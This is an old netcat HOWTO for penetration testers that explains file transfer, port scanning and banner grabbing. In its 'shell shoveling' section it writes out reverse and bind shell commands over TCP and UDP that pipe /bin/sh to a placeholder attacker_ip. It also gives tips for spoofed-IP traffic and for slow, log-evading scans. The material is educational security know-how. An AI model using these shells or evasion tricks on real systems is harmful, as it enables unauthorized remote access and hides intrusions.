netcat-usage v0.3a

27.03.2002 (updated 29.05.2003)
chrome at
jethro at
protocold at


This paper has been the result of some "brainstorming" on IRC and has now "evolved" into a HOWTOish format. Reason for writing this little HOWTO is that even if netcat is known to most, many do not know what it can be used for or have never had the need to use it, thus not knowing some of the things it can be used for.

This very small paper tries to point out a few usage scenarios it can be used for, perhaps more focusing on the penetration testing side. One should bear in mind that it can be used for more complex scenarios or be used in forensics where data is sent to another machine for store and so on. Not all the options on netcat will be used in this paper, but if any new stuff pops up, those will be added. Read up by issuing 'nc -h' and man/help-pages to learn more about the tool.

As we initially wrote this paper, we noticed there are other similar papers existing on the web, but what the heck, this is our little effort to the community ;) This paper is not intentioned to be a HOWTO for doing break-ins, but rather a primer for penetration testers and vulnerability assessment people. Use the information wisely.

Netcat has a compile-time option that makes netcat execute a program for the connecting or listening process. This is useful for sending a shell to the attacker. Also note that the switches might be different on different platforms, ie. OpenBSD is lacking the -p switch.

To download the Unix/Win version of the tool, check the links below. The great thing about this tool is that it is free and still has many uses. This paper will not cover everything netcat can do, so just explore its ways.

Unix: nc110.tgz

Alternatives to netcat are listed below. Cryptcat encrypts traffic and could be useful to avoid detection, transfer sensitive forensics-data or for example encrypt the data while you do a penetration test against a customer over the Internet. SoCat is netcat on steroids, some like it, some don't :)

Cryptcat - Encrypted traffic with Blowfish
SoCat - Netcat with extended design & features

We also want to mention stunnel, as it can be used as standalone or in conjunction with netcat to check SSL-enabled services.

STunnel - Useful if you need to do stuff with HTTPS

Ok, now that we are done with this, lets check some examples this can be used for. We start with some transferring of files and move on to portscanning, banner-grabbing and finally how to achieve an interactive shell, aka shoveling a shell.

Transferring files

When we want to send a file from a host to another with netcat, it is quite simple. We set up the receiving host to listen on a specific port and put all the data received into a file. We need to set a timeout so the listener notices when there is no more data coming and it can close gracefully.

-l = listens for incoming connections
-p = what port to listen on
-v = verbosity level, use twice for more information
-w = timeout
-n = dont resolve IPs

On the senders end we simply connect to the receivers listening port and give the file as input. The filetransfer goes smoothly as long as you remember to initiate the sending before the timeout.

nc -vvn -l -p 3000 -w 3 > file

nc -vvn 3000 < file

This is what the sender should see when the connection to the port is successful and transfer went well:

Connection to 3000 port [tcp/*] succeeded!

The receiver on the other hand sees this. It tells what IP was connected to and from what IP the connection originated from, including the source-port. Finally you see the amount of data transferred:

listening on [any] 3000 ...
connect to [] from (UNKNOWN) [] 42709
sent 0, rcvd 13

You can also do a neat trick with udp & ip-spoofing. If you are listening for traffic on a segment, you could send the traffic to another host via UDP. This only works if you don't care about ACKs and to our opinion its useful only if you want to hide the origins of the packets.

Tcpdump usage would be done like this:
tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip &ltport>

This however requires you to bind the spoofed IP to your interface, in Linux it can be done by typing 'ifconfig eth0:n spoofed_ip', where n is the next free alias. This will cause problems with the host you're spoofing, as you broadcast the same IP on the network. To perform similar stuff without causing that much problems, you could check out hping.


It is also possible to do portscans with netcat with using the flag -z (zero I/O mode), that only connects and disconnects from a port. To perform a UDP-scan, you use the flag -u.

TCP: nc -vvn -z start-end

UDP: nc -u -vvn -z start-end

In the snippet below we attempt to scan TCP-ports 79 to 81 to find open ports on a target. As you can see, closed ports report "Connection refused" and open ports report "open". UDP scan output is basically the same.

:~$ nc -vvn -z 79-81
(UNKNOWN) [] 81 (hosts2-ns) : Connection refused
(UNKNOWN) [] 80 (http) open
(UNKNOWN) [] 79 (finger) : Connection refused
sent 0, rcvd 0


In banner-grabbing we send some specific strings to the target from a file and get in response, if any ports are open, the results will be outputted to your screen. In the example below we have included some basic for-loop for scanning multiple targets a time, for example machines we have found in our port-scan above.

Get.txt would contain head / http/1.0 and two returns, or just two returns and it would work on other ports too. Iplist.txt would contain IPs that you want to scan.

for /f %1 in (iplist.txt) do nc -vvn %1 80 < Get.txt

for f in `cat iplist.txt`; do nc $f 80 < Get.txt; done;

:~$ for f in `cat iplist.txt`; do nc $f 80 < get.txt; done
(UNKNOWN) [] 80 (http) : Connection refused
HTTP/1.0 200 OK
Server: Microsoft IIS/5.0
Content-Type: text/html; charset=iso-8859-1
Date: Thu, 29 May 2003 09:35:08 GMT
Last-Modified: Sun, 18 May 2003 11:51:07 GMT
Accept-Ranges: bytes
Connection: close
Content-Length: 13640

By now you probably have realized that you might actually also be able to send an exploit against the target by using netcat.. ;)

When HTTPS is involved, you might want to look into stunnel by tunneling nc through it or just using stunnel itself:
(echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel -c -r host:port

Shell Shoveling - TCP

This is probably the part that some have been waiting for, shell shoveling. We assume that you have managed to upload netcat to the target in some way, whether it has happened through a vulnerable web-application or whatever. We also assume you are able to issue commands on the target (how else could you use your netcat that is sitting there?).

If there is no firewall protecting the target, or there is a misconfiguration in the firewall (ie. allowing tcp/53 to all hosts), the attacker could put up a nc-listener that shovels back an interactive shell the following way (assuming -e flag has been compiled in the binary):

On the target:
nc -l -p port -e shell (shell can be /bin/sh or cmd.exe for example)

From the attacker:
nc target_ip port

In the example below, the attacker connects to the listening netcat and starts issuing commands. As you see, the answers from the target comes directly and the output might be a bit hard to read in sense of where command begins and where output ends.

:~$ nc -vvn 3000
Connection to 3000 port [tcp/*] succeeded!
uid=1000(nobody) gid=1000(nogroup)
cd ..

If there is however a firewall in place that stops the attacker from connecting to a specific *free* port on the target-system, they could try to get the target to connect back to them. This is possible only if the firewall allows certain outgoing connections:

On the attacker:
nc -l -p port

From the target:
nc -e /bin/sh attacker_ip port

In the case where nc has not been compiled with the -e option, there is still ways to shovel back a shell to the attacker. By piping stdin to another listener and stdout to another, the attacker gets one console for issuing commands and one console for the results:

On the attacker:
nc -l -p port1
nc -l -p port2

From the target:
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2

Shell Shoveling - UDP

In the case where TCP is restricted, one has to check for possible UDP avenues. UDP however is unreliable, but it can work, and allows spoofing if there is need for it. After testing it, we concluded that it has to be used in the two console way. It wasn't working without echoing an initial character:

On the attacker:
nc -l -u -p port1
nc -l -u -p port2

From the target:
echo "" | nc -u attacker_ip port1 | /bin/sh | nc -u attacker_ip port2

This way however means that there is two udp-ports available. There is another way where one port is enough. This usually means port 53 as it could be wrongly configured at the firewall level, allowing it both ways:

On attacker:
nc -l -u -p 53

On target:
nc -u -l -p 53 | /bin/sh | nc -u attacker_ip 53

From attacker:
cat | nc -u target_ip 53

By using this way, the attacker has again a command console and an output console available. One should remember that if using ports under 1024, there must be access equivalent to system/root/administrator available. UDP method would not work behind a NATted environment.

End notes

As an end note, we like to say that use your own imagination. Netcat is not called the Swiss Army Knife of networking tools for nothing :)

Happy netcatting!

Added notes by ComSec

Telnet daemons start out with telnet negotiation, which makes nc hang:
$ nc somehost 23
The -t flag tells netcat to get past that negotiation:
$ nc -t somehost 23

The -z flag sends no data:
$ nc -z somehost 22

Ports can be specified as ranges:
$ nc -z somehost 1-1024

What? No output? Let's get verbose:
$ nc -v -z somehost 1-1024

Quick Aside: Verbosity. The -v option tells you about connections, and about failures if -z isn't specified. The -vv option gives you summary info, and shows failures if -z is specified. To keep stdout pristine, all verbose output (not just error messages) goes to stderr.

Port Scanning: -r flag. Normally, the local port is assigned by the kernel, usually in sequential fashion, and remote ports are connected to in descending order. The -r flag randomizes the local port. -r also randomizes order of remote ports connected when a port range is provided:
$ nc -r -v -z localhost 1-1024
Use netstat to see the difference.

Port Scanning: -i flag. -i INTERVAL sets interval between connections in seconds. Useful for "slow" scans; most people wouldn't notice the following in the logs of even a minimally-active server:
$ nc -i 1000 -r -v -z somehost 1-1024
Of course, that takes a little under two weeks to run...

Port Scanning: IP Spoofing. -s SOURCE_IP sets source IP address. SOURCE_IP must be bound to interface. Specific IP binding takes precedence over interface binding - more on that later. SOURCE_IP really is "local IP" - more on that later.
$ nc -s -v -z localhost 21
Again, netstat illustrates the difference.

Port Scanning: Port "Spoofing". -p SOURCE_PORT sets source port Takes precedence over -r flag. Ranges for SOURCE_PORT are ignored SOURCE_PORT really is "local port" - more on that later.
$ nc -p 9999 -v -z somehost 21
Yet again, netstat illustrates the difference

Minimal Web Spider (OK, not many people use telnet for this anymore...) Manually send HTTP request to port 80
$ echo "GET / HTTP/1.0\n" | nc 80
C:\> nc 80 < getdocroot.txt
Good for postprocessing web pages as part of pipeline.

Timeout: -w TIMEOUT sets timeout for setting up of connection. Doesn't yet affect setup timeout for NT version. Also sets timeout when waiting for data - number of seconds after local stdin is closed to wait for data from remote side of network. Without -w, this will hang (because of missing newline):
$ echo 'GET / HTTP/1.0' | nc -w3 80